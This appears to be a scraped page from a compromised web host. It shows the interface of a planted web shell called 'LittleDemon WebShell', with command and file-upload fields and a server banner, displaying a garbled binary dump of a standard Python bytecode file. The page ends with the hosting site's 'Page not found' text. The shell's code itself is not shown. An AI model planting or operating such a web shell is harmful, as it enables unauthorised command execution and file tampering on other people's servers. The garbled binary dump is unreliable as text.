LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /lib64/python3.9/__pycache__/
File Upload :
Command :
Current File : //lib64/python3.9/__pycache__/genericpath.cpython-39.pyc

a

�i~�@s�dZddlZddlZgd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZejGdd�d��ZdS) z�
Path operations common to more than one OS
Do not use directly.  The OS specific modules import the appropriate
functions from this module themselves.
�N)�commonprefix�exists�getatime�getctime�getmtime�getsize�isdir�isfile�samefile�sameopenfile�samestat�
ALLOW_MISSINGc	Cs,zt�|�Wnttfy&YdS0dS)zDTest whether a path exists.  Returns False for broken symbolic linksFT)�os�stat�OSError�
ValueError)�path�r�#/usr/lib64/python3.9/genericpath.pyrs
rc	Cs4zt�|�}Wnttfy&YdS0t�|j�S)z%Test whether a path is a regular fileF)rrrr�S_ISREG�st_mode)r�strrrr	s
r	c	Cs4zt�|�}Wnttfy&YdS0t�|j�S)z<Return true if the pathname refers to an existing directory.F)rrrr�S_ISDIRr)�srrrrr's
rcCst�|�jS)z1Return the size of a file, reported by os.stat().)rr�st_size��filenamerrrr0srcCst�|�jS)zCReturn the last modification time of a file, reported by os.stat().)rr�st_mtimerrrrr5srcCst�|�jS)z=Return the last access time of a file, reported by os.stat().)rr�st_atimerrrrr:srcCst�|�jS)zAReturn the metadata change time of a file, reported by os.stat().)rr�st_ctimerrrrr?srcCsl|sdSt|dttf�s*tttj|��}t|�}t|�}t|�D]$\}}|||krB|d|�SqB|S)zGGiven a list of pathnames, returns the longest common leading component�rN)	�
isinstance�list�tuple�mapr�fspath�min�max�	enumerate)�m�s1�s2�i�crrrrEsrcCs|j|jko|j|jkS)z5Test whether two stat buffers reference the same file)�st_ino�st_dev)r*r+rrrrWs
�rcCst�|�}t�|�}t||�S)z�Test whether two pathnames reference the same actual file or directory

    This is determined by the device number and i-node number and
    raises an exception if an os.stat() call on either pathname fails.
    )rrr)�f1�f2r*r+rrrr
^s

r
cCst�|�}t�|�}t||�S)z:Test whether two open file objects reference the same file)r�fstatr)�fp1�fp2r*r+rrrrks

rcCs�|�|�}|r"|�|�}t||�}|�|�}||krz|d}||krz|||d�|krp|d|�||d�fS|d7}q<||dd�fS)z�Split the extension from a pathname.

    Extension is everything from the last dot to the end, ignoring
    leading dots.  Returns "(root, ext)"; ext may be empty.�Nr)�rfindr')�p�sep�altsep�extsep�sepIndex�altsepIndex�dotIndex�
filenameIndexrrr�	_splitextys




r?cGs`d}}|D]<}t|t�r d}qt|t�r0d}qt|�d|jj���d�q|r\|r\td�d�dS)NFTz;() argument must be str, bytes, or os.PathLike object, not z.Can't mix strings and bytes in path components)r!�str�bytes�	TypeError�	__class__�__name__)�funcname�args�hasstr�hasbytesrrrr�_check_arg_types�s

��rIc@s eZdZdZdd�Zdd�ZdS)r
z$Special value for use in realpath().cCsdS)Nzos.path.ALLOW_MISSINGr��selfrrr�__repr__�szALLOW_MISSING.__repr__cCs|jjS)N)rCrDrJrrr�
__reduce__�szALLOW_MISSING.__reduce__N)rD�
__module__�__qualname__�__doc__rLrMrrrrr
�sr
)rPrr�__all__rr	rrrrrrrr
rr?rI�object�__new__r
rrrr�<module>s$	


LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.